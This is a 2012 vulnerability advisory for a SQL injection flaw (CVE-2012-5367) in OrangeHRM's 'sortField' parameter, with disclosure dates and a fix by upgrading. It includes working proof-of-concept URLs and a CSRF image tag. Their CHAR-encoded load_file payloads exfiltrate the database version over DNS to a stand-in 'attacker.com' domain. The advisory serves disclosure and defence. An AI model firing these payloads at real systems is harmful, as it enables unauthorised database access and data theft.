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SQL Injection Vulnerability in OrangeHRM

Advisory ID:HTB23119
Vendor:OrangeHRM Inc.
Vulnerable Versions:2.7.1-rc.1 and probably prior
Tested Version:2.7.1-rc.1
Advisory Publication:October 10, 2012 [without technical details]
Vendor Notification:October 10, 2012
Vendor Fix:October 11, 2012
Public Disclosure:October 31, 2012
Latest Update:October 11, 2012
Vulnerability Type:SQL Injection [CWE-89]
CVE Reference:CVE-2012-5367
Risk Level:Medium
CVSSv2 Base Score:6 (AV:N/AC:M/Au:S/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge Security Research Lab discovered SQL injection vulnerability in OrangeHRM, which could be exploited to alter SQL requests to application's database.

1) SQL Injection Vulnerability in Orange HRM: CVE-2012-5367
The vulnerability was discovered in the "/symfony/web/index.php" script while handling the "sortField" HTTP GET parameter.
Successful exploitation of this vulnerability requires administrative privileges, however it can be exploited by a non-authenticated user via CSRF vector, as the above-mentioned script is also vulnerable to CSRF attack.
The vulnerability could be triggered by accessing the following URIs:
/symfony/web/index.php/admin/vie wPayGrades

The PoC codes below are based on DNS Exfiltration technique and can be used in cases when application's database is hosted on a Windows system. The PoCs will send a DNS request demanding IP addess for `version()` (or any other sensitive information from the database) subdomain of "" (a domain name, DNS server of which is controlled by the attacker):

1.1 http://[host]/symfony/web/index.php/admin/viewCustomers?sortOrder=ASC&sortFi eld=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107) ,CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102 ),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))

The following PoC demonstrates exploitation of the vulnerability via CSRF vector:
<img src="http://[host]/symfony/web/index.php/admin/viewCustomers?sortOrder=ASC&s ortField=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107) ,CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102 ),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))">

1.2 http://[host]/symfony/web/index.php/admin/viewPayGrades?sortOrder=ASC&sortFi eld=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107) ,CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102 ),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))
1.3 http://[host]/symfony/web/index.php/admin/viewSystemUsers?sortOrder=ASC&sort Field=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107) ,CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102 ),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))

How to Detect SQL Injection Vulnerabilities
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Upgrade to OrangeHRM 2.7.1

[1] High-Tech Bridge Advisory HTB23119 - - SQL Injection Vulnerability in Orange HRM.
[2] OrangeHRM - - OrangeHRM is the world’s most popular Open Source Human Resource Management Software (HRMS) with over 1,000,000 users globally.
[3] Common Vulnerabilities and Exposures (CVE) - - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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